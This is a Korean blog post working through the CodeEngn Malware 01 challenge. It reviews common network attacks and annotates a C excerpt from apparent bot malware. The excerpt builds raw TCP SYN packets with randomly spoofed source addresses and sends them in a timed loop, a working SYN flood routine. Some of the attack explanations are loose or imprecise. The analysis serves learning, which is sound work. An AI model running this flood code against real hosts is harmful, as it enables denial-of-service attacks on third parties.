constWORLDant

CodeEngn 01 Malware 본문

0x06 Malware

CodeEngn 01 Malware

data type ConS_tanT 2018.01.07 09:12


메모장에 적으면서 푼거라 다 주석이다. 



// network 공격 기반인듯하다.

// network 공격 기반에 대해 다 나열하고 비슷한 것을 찾는 방향으로 진행해보자.




// 왜냐하면 난 한번도 네트워크 공격에 대한 코드를 짜본 경험이 없다. 

// 우선 추측할 수 있는건 DDOS는 아니다. (예시로 나왔기에)



// 네트워크가 왜 취약한지 부터 생각을 해볼 필요가 있다.

// 크래커는 임의의 호스트를 공격할 수 있는 가능성을 항상 가지고 있다.

// 가장 최근에 발생한 smb취약점을 이용한 워너크라이 랜섬웨어의 경우도 따지고 보면

// 네트워크에서 이동하는 랜섬웨어 였다. 

// 즉, 네트워크 상은 취약점만 발견된다면 공격할 지점이 무궁무진하다고도 볼 수 있다 


// 네트워크 공격에는 스니핑(도청), 스푸핑, 세션 하이재킹 

// DOS(Denial Of Service) => SYN Flooding, UDP Flooding 

// Land , Ping of Death, Smurf, Tear Drop, Tiny Fragment,

// Fragment Overlap 공격이 있다.


// 스니핑은 슬금슬금 사용자 모르게 다가가서 사용자의 패킷을 훔쳐 정보를 들여다 보는 행위다


// 스푸핑은 mac이나 ip주소, port를 속여서 피해자가 정상적으로 패킷을 줘야하는 피시에 패킷을 주지 못하고

// 패킷을 크래커 피시로 보내버리게 되는 특징을 가진다.

// 스푸핑에는 ARP, DNS, IP 스푸핑이 대표적이다.


// DOS란 서비스 거부 공격이라고 해서 공격자 즉, 크래커가 시스템의 하드웨어나

// 소프트웨어 등을 무력하게 만들어 시스템이 정상적인 수행을 하지 못하게 방해하는 것이다

// 대표적으로 위에도 적었지만, SYN Flooding (3wayhandshacking이 진행 되기 위한 과정을 정상적으로 

// 이행하지 못하여 생기는 문제점), UDP Flooding, 자신의 꼬리를 계속해서 따라가는 강아지를 연상시킬 수 있는 LAND 공격

// land공격에 대해 잠시 언급하면, 출발지 ip와 도착지 ip가 같은 것을 의미한다. 즉 프로그래밍으로 생각하면 재귀함수인데 

// 이 재귀함수의 대상이 패킷이 되었다고 가정하고 10000번의 요청과 응답을 진행했다고 하자. 그럼 시스템의 자원은 아주 많이 낭비가 된다.

// 그 낭비로 인해 꼭 필요한 부분에 자원을 할당하지 못하게 되며 그로 인해 뻗어버리는 증상이 생겨버린다.

// Tear Drop이란 직역하면 눈물을 드롭하는 공격인데 정확한 원리는 데이터가 송수신하는 과정에서 

// 데이터의 송신한계를 넘어버리면 MTU(1500byte)로 나누어져 fragment number를 붙여

// 송신하고 수신 측에는 fragment넘버로 재조합하여 분석하는 방법인데

// fragment 내 나누어진 byte정보(fragmentation offset)을 위조하여 offset을 중복되게 

// 하거나 작은 공간을 만들어 두어 수신측에서 재조합을 하기 어렵게 만들어 시스템을 다운시킨다.


// ping of death는 무수히 많은 ping을 미사일 처럼 쏴대는 공격을 의미한다.

// 수신 측 pc는 반드시 요청되는 ping을 다 응답받는 일을 해야한다.

// 이를 악용하여 하나의 ping을 쏘았을 때 무수히 많은 ping으로 다시 쪼개어 날려버리면

// 10~100개 이정도는 pc가 버틸 수 있겠지만, 100000개 이런 갯수로 날라오면 지쳐 쓰러져 버릴 것이다.



// 오랜만에 네트워크 해킹 공격에 대해 복습을 가져보았는데 몇 공격은 가물가물하다 시간 내서 정확하게 다 공부 다시 해보아야 겠다.


// 암튼 이제 소스코드 분석을 해보면 다음과 같다 


addr_in.sin_family=AF_INET; addr_in.sin_port=htons(TargetPort); addr_in.sin_addr.s_addr=TargetIP;


// 사실상 이런 구조체들이 존재했을 것 왜냐하면 ipHeader. && tcpHeader. 으로 어떠한 구조체에 참조되는 변수명들이 여럿 보이기 때문이다. 

// 그렇다면 이 프로그램의 코드 일부를 보았을 때 ip와 tcp를 사용하니 네트워크성 악성코드는 확실해 졌다.


/* typedef IPHEADER

{

int h_verlen;

int total_len;

int ident;

int proto;

}ipheader; 


typedef TCPHEADER

{

int th_lenres;

int th_win;

}tcpheader;

*/

ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsigned long));

ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));

ipHeader.ident=1; ipHeader.frag_and_flags=0; ipHeader.ttl=128;

// time to live도 128로 맞추어두었다. 보통 128은 윈도우즈 환경에서 라우터를 몇번 거쳤는지 알 수 있고(홉 수라고도 한다) 디폴트 값으로 알고있다.


ipHeader.proto=IPPROTO_TCP; ipHeader.checksum=0; ipHeader.destIP=TargetIP;

tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); tcpHeader.th_flag=2;

tcpHeader.th_win=htons(16384); tcpHeader.th_urp=0; tcpHeader.th_ack=0;


lTimerCount=GetTickCount(); // 시간 부여받고 


while(g_cMainCtrl.m_cDDOS.m_bDDOSing) // 뭔지 모르겠다만.. 매크로 값이라고 추정 

// DDOS 분산 서비스 공격 

// 패킷을 엄청나게 쏴서 자원을 못쓰게 할 것 같은 느낌이다 

{

//htons() : (Host to network short)  


    //Host 시스템에서 Network로 short 형 데이터를 보낼 때  바이트 오더를 바꾸어주는 함수

//출처: http://fattarzan.tistory.com/entry/htonl-htons-ntohl-ntohs [뚱보타잔]

i++;

tcpHeader.th_sum=0; tcpHeader.th_dport=htons(TargetPort); // 희생자의 포트를 넣고 


psdHeader.daddr=ipHeader.destIP; psdHeader.mbz=0; psdHeader.ptcl=IPPROTO_TCP;

psdHeader.tcpl=htons(sizeof(tcpHeader));

ipHeader.sourceIP=htonl(lSpoofIP); // spoof하는 ip가 있다


tcpHeader.th_sport=htons((rand()%1001)+1000);// 1000 ~ 2000까지? 


tcpHeader.th_seq=htons((rand()<<16)|rand());


psdHeader.saddr=ipHeader.sourceIP; // 출발지 ip를 대입한다 


// 변수명으로 보아 보내는버퍼다 즉 패킷을 열라 전송하는 것으로 보인다 여기서는 psdHeader의 크기만큼 복사하고 

memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));

memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));

tcpHeader.th_sum=checksum((unsigned short *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));

// 체크섬을 확인한다 



// 여기서는 ipHeader의 크기 만큼 복사를 진행함을 알 수 있다 

memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));

memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));

memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);

ipHeader.checksum=checksum((unsigned short *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader));

// 여기도 체크섬을 확인한다 



memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));


rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),0,(struct sockaddr*)&addr_in, sizeof(addr_in));

// sendto를 검색해보니 데이터그램을 전송하는 함수라고 한다.

// sendto의 반환값은 다음과 같다.


/*

0 이상일 경우 : 정상 데이터 수신 완료 

-1 : 오류 발생 

*/


if(rect==SOCKET_ERROR) return false;


if((GetTickCount()-lTimerCount)/1000>len) break;

// GetTickCount 함수를 사용하여 이 코드가 실행된 만큼에서 1000을 나누었을 때

// 주어진 len보다 크게 되면 작업을 중단하게 된다 


if(bRandPort) { TargetPort=brandom(1000, 10000); }

// 희생자 pc의 포트를 1000~10000사이에 아무거나 선택하게 한다

// 즉 잘알려지지 않은 포트를 이용한 취약점 혹은 악성코드라고 보인다 


// szSpoofIP인 것으로 보아 실제 아이피에 대한 정보를 담는 것으로 추정된다.


szSpoofIP[0]=(char)brandom(0, 255); szSpoofIP[1]=(char)brandom(0, 255);

szSpoofIP[2]=(char)brandom(0, 255); szSpoofIP[3]=(char)brandom(0, 255);



// 잠시 시스템을 멈추는 시간도 존재한다 

Sleep(delay); 

}


// while에 있는 것으로 보아 상기의 매크로 값은 무한루프를 위한 '1'값이라고 생각된다.

// 무수히 많은 패킷을 던져주고도 그 패킷을 온전하게 수신측이 전달받지 못하는 기법은 

// SYN Flooding 기법이다. 


// 정확한 SYN Flooding 기법의 뜻은 다음과 같다

// tcp 통신에서 세션 연결을 위해 서버에서 SYN 패킷을 보내면 서버는 SYN+ACK로 응답을 하면서

// 자연스레 SYN_RECV 상태가 되고 클라이언트에게 응답을 "받기 전"까지 시간을 일정하게 유지한다.

// 자 그렇다면 Sleep(delay)를 왜 하는지 알게 되었다. 

// 또한 일정 시간 유지할 때를 프로세스 상태로 보았을 때 대기상태라고 가정을 하게 된다면

// 다른 작업이 가능하다고도 볼 수 있다. 

// 이렇게 하나 툭 던져두고 시스템이 쉴때 크래커는 재빠르게 다른 아이피와 포트를 이용해서

// "출발지"를 계속 바꾸어버리고 이 출발지에 관한 정보를 서버는 고스란히 받게 된다.

// 이때 너무 많은 세션이 생겨버리면, 서버입장에서 "이 많은 애들을 어떻게 다 받아들여야해.."

// 라면서 멘붕에 빠지게 되면서 꾸역꾸역 자신(서버)의 자원을 소모하게 되다 끝내 소진되어버리면서

// 다른 사용자가 tcp 통신을 못하게 막는다. 


// 답은 synflooding이다 

xClose(sock);



'0x06 Malware' 카테고리의 다른 글

CodeEngn Malware 03  (0) 2018.01.07
CodeEngn 02 Malware  (0) 2018.01.07
CodeEngn 01 Malware  (0) 2018.01.07
[Monero_ISSUE]_Author_c0nstant_Release  (2) 2017.12.22
[issue] 페이스북 video_xxx.zip version 2  (7) 2017.12.18
[issue] miner.exe 내부 분석 겸 공부  (0) 2017.12.18
0 Comments
댓글쓰기 폼